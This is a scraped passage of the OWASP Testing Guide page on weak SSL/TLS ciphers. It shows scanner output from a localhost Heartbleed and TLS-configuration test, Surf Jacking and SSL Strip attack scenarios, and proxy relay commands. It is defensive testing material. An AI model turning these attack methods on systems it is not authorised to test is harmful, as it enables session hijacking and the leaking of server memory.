[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.2<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....<br />
<br />
[-] Closing connection<br />
<br />
<br />
<br />
[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in http://heartbleed.com/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Loading module: CCS Injection script by TripWire VERT ...<br />
<br />
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...<br />
<br />
[!] The target may allow early CCS on TLSv1.2<br />
[!] The target may allow early CCS on TLSv1.1<br />
[!] The target may allow early CCS on TLSv1<br />
[!] The target may allow early CCS on SSLv3<br />
<br />
<br />
[-] This is an experimental detection script and does not definitively determine vulnerable server status.<br />
<br />
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CCS) Injection vulnerability (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/<br />
[!] Vulnerability Status: Possible<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...<br />
<br />
[*] HTTP Compression: DISABLED<br />
[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 200 OK<br />
Date: Wed, 23 Jul 2014 13:48:07 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure<br />
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/<br />
Content-Length: 193<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<html><br />
<head><br />
<title>Login page </title><br />
</head><br />
<body><br />
<script src="http://othersite/test.js"></script><br />
<br />
<link rel="stylesheet" type="text/css" href="http://somesite/test.css"><br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...<br />
<br />
[!] STS response header: NOT PRESENT<br />
[!] Vulnerable to MITM threats mentioned in https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 200 OK<br />
Date: Wed, 23 Jul 2014 13:48:07 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure<br />
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/<br />
Content-Length: 193<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<html><br />
<head><br />
<title>Login page </title><br />
</head><br />
<body><br />
<script src="http://othersite/test.js"></script><br />
<br />
<link rel="stylesheet" type="text/css" href="http://somesite/test.css"><br />
<br />
<br />
=====================================<br />
<br />
Checking localhost for HTTP support against HTTPS Stripping attack ...<br />
<br />
[!] HTTP Support on port [80] : SUPPORTED<br />
[!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP elements embedded in SSL page ...<br />
<br />
[!] HTTP elements embedded in SSL page: PRESENT<br />
[!] Vulnerable to MITM malicious content injection attack<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
--------------- HTTP RESOURCES EMBEDDED ---------------<br />
- http://othersite/test.js<br />
- http://somesite/test.css<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ROBUST use of anti-caching mechanism ...<br />
<br />
[!] Cache Control Directives: NOT PRESENT<br />
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
-------------------------------------------------<br />
<br />
Robust Solution:<br />
<br />
- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0<br />
- Ref: https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-AUTHN-006)<br />
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for Surf Jacking vulnerability (due to Session Cookie missing secure flag) ...<br />
<br />
[!] Secure Flag in Set-Cookie: PRESENT BUT NOT IN ALL COOKIES<br />
[!] Vulnerable to Surf Jacking attack mentioned in https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 200 OK<br />
Date: Wed, 23 Jul 2014 13:48:07 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure<br />
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/<br />
Content-Length: 193<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...<br />
<br />
[*] Forward Secrecy: SUPPORTED<br />
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1 <br />
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.<br />
[*] Vulnerability Status: No<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for RC4 support (CVE-2013-2566) ...<br />
<br />
[!] RC4: SUPPORTED<br />
[!] Vulnerable to MITM attack described in http://www.isg.rhul.ac.uk/tls/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS 1.1 support ...<br />
<br />
Checking localhost:443 for TLS 1.2 support ...<br />
<br />
[*] TLS 1.1, TLS 1.2: SUPPORTED<br />
[*] Immune from BEAST attack mentioned in http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025<br />
[*] Vulnerability Status: No <br />
<br />
<br />
<br />
=====================================<br />
<br />
Loading module: sslyze by iSecPartners ...<br />
<br />
Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-2011-1473,CVE-2011-5094) ...<br />
<br />
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in https://www.thc.org/thc-ssl-dos/<br />
[*] Vulnerability Status: No<br />
<br />
<br />
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555 <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Loading module: TestSSLServer by Thomas Pornin ...<br />
<br />
Checking localhost:443 for SSL version 2 support ...<br />
<br />
[*] SSL version 2 : NOT SUPPORTED<br />
[*] Immune from SSLv2-based MITM attack <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...<br />
<br />
Supported LANE cipher suites:<br />
SSLv3<br />
RSA_EXPORT_WITH_RC4_40_MD5<br />
RSA_EXPORT_WITH_RC2_CBC_40_MD5<br />
RSA_EXPORT_WITH_DES40_CBC_SHA<br />
RSA_WITH_DES_CBC_SHA<br />
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA<br />
DHE_RSA_WITH_DES_CBC_SHA<br />
TLS_ECDH_anon_WITH_RC4_128_SHA<br />
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA<br />
TLS_ECDH_anon_WITH_AES_256_CBC_SHA<br />
(TLSv1.0: same as above)<br />
(TLSv1.1: same as above)<br />
(TLSv1.2: same as above)<br />
<br />
<br />
[!] LANE ciphers : SUPPORTED<br />
[!] Attackers may be ABLE to recover encrypted packets.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...<br />
<br />
Supported GCM cipher suites against Lucky13 attack:<br />
TLSv1.2<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384<br />
<br />
<br />
[*] GCM/CCM ciphers : SUPPORTED<br />
[*] Immune from Lucky13 attack mentioned in http://www.isg.rhul.ac.uk/tls/Lucky13.html <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS Compression support against CRIME (CVE-2012-4929) & TIME attack ...<br />
<br />
[*] TLS Compression : DISABLED<br />
[*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
[+] Breacher finished scanning in 12 seconds.<br />
[+] Get your latest copy at http://yehg.net/<br />
<br />
<br />
</pre><br />
<br />
===Testing SSL certificate validity – client and server===<br />
Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer. <br />
<br />
<br />
By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates. <br />
<br />
<br />
These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services. <br />
<br />
<br />
====Example 1. Testing for certificate validity (manually)====<br />
Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company. <br />
<br />
We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site. <br />
<br />
[[Image:SSL Certificate Validity Testing IE Warning.gif]]<br />
<br />
''Warning issued by Microsoft Internet Explorer''<br />
<br />
The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.<br />
<br />
[[Image:SSL Certificate Validity Testing Firefox Warning.gif]]<br />
<br />
''Warning issued by Mozilla Firefox''<br />
<br />
===Testing for other vulnerabilities===<br />
As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.<br />
<br />
<br />
====Surf Jacking====<br />
The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.<br />
<br />
<br />
The following is a scenario of how the attack can take place:<br />
* Victim logs into the secure website at https://somesecuresite/.<br />
* The secure site issues a session cookie as the client logs in.<br />
* While logged in, the victim opens a new browser window and goes to http:// examplesite/<br />
* An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.<br />
* The attacker sends back a "301 Moved Permanently" in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.<br />
* The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text<br />
* The attacker sees this traffic and logs the cookie for later use.<br />
<br />
<br />
To test if a website is vulnerable carry out the following tests:<br />
# Check if website supports both HTTP and HTTPS protocols<br />
# Check if cookies do not have the “Secure” flag<br />
<br />
<br />
====SSL Strip====<br />
Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.<br />
<br />
<br />
An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.<br />
<br />
<br />
===Testing via HTTP proxy===<br />
<br />
Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.<br />
<br />
<br />
====Example 8. Testing via HTTP proxy==== <br />
<br />
To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:<br />
<pre><br />
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128<br />
</pre><br />
<br />
<br />
Then the tester can target all other tools to localhost:9999:<br />
<pre><br />
$ openssl s_client -connect localhost:9999<br />
</pre><br />
<br />
<br />
All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.<br />
<br />
<br />
== Configuration Review ==<br />
<br />
===Testing for Weak SSL/TLS Cipher Suites===<br />
Check the configuration of the web servers that provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well. <br />
<br />
<br />
====Example 9. Windows Server==== <br />
Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:<br />
<pre>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\</pre><br />
that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.<br />
<br />
<br />
====Example 10: Apache====<br />
To check the cipher suites and protocols supported by the Apache2 web server, open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.<br />
<br />
<br />
===Testing SSL certificate validity – client and server===<br />
Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.<br />
<br />
==Tools==<br />
*[21][Qualys SSL Labs - SSL Server Test|https://www.ssllabs.com/ssltest/index.html]: internet facing scanner<br />
*[27] [Tenable - Nessus Vulnerability Scanner|http://www.tenable.com/products/nessus]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.<br />
*[32] [TestSSLServer|http://www.bolet.org/TestSSLServer/]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST<br />
*[33] [sslyze|https://github.com/iSECPartners/sslyze]: is a python script to check vulnerabilities in SSL/TLS.<br />
*[28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.<br />
*[29] [SSLScan|http://sourceforge.net/projects/sslscan/] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.<br />
*[31] [nmap|http://nmap.org/]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] and supported [SSL/TLS protocols/ciphers|http://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.<br />
*[30] [curl|http://curl.haxx.se/] and [openssl|http://www.openssl.org/]: can be used to query manually SSL/TLS services<br />
*[9] [Stunnel|http://www.stunnel.org]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)<br />
*[37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay<br />
*[38] [testssl.sh| https://testssl.sh/ ]<br />
<br />
<br />
==References==<br />
'''OWASP Resources'''<br />
* [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OTG-SESS-002)]<br />
* [4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001)]<br />
* [6] [OWASP Testing Guide - Testing for HTTP_Strict_Transport_Security (OTG-CONFIG-007)|https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007)]<br />
* [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)|https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003)]<br />
* [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)|https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001)]<br />
* [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]<br />
* [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]<br />
* [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]<br />
* [25] [OWASP ASVS 2009 - Verification 10|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]<br />
* [26] [OWASP Application Security FAQ - Cryptography/SSL|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]<br />
<br />
<br />
'''Whitepapers'''<br />
* [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://www.ietf.org/rfc/rfc5246.txt]<br />
* [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]<br />
* [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]<br />
* [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.org/56387]<br />
* [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555]<br />
* [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]<br />
* [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.html]<br />
* [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.ssllabs.com/projects/rating-guide/index.html]<br />
* [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]<br />
* [18] [Qualys SSL Labs - Forward Secrecy|https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]<br />
* [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what]<br />
* [16] [Qualys SSL Labs - BEAST|https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]<br />
* [17] [Qualys SSL Labs - CRIME|https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]<br />
* [7] [SurfJacking attack|https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf]<br />
* [8] [SSLStrip attack|http://www.thoughtcrime.org/software/sslstrip/]<br />
* [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/security_standards/documents.php]<br />
* [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]<br />
<br />
<br />
[[Category:Cryptographic Vulnerability]]<br />
[[Category:SSL]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)&diff=179216Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)2014-07-23T14:13:21Z<p>D0ubl3 h3lix: /* Example 8. Testing SSL/TLS with SSL Breacher */</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Brief Summary ==<br />
<br />
Sensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission. <br />
<br />
<br />
HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication. <br />
<br />
<br />
Even if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.<br />
<br />
<br />
== Description of the Issue == <br />
A vulnerability occurs if the HTTP protocol is used to transmit sensitive information [2] (e.g. credentials transmitted over HTTP [3]).<br />
<br />
When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:<br />
* SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.<br />
* Certificate validity must be ensured.<br />
<br />
Other vulnerabilities linked to this are:<br />
* Software exposed must be updated due to possibility of known vulnerabilities [4].<br />
* Usage of Secure flag for Session Cookies [5].<br />
* Usage of HTTP Strict Transport Security (HSTS) [6].<br />
* The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].<br />
* The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.<br />
<br />
<br />
===Sensitive data transmitted in clear-text===<br />
The application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.<br />
<br />
<br />
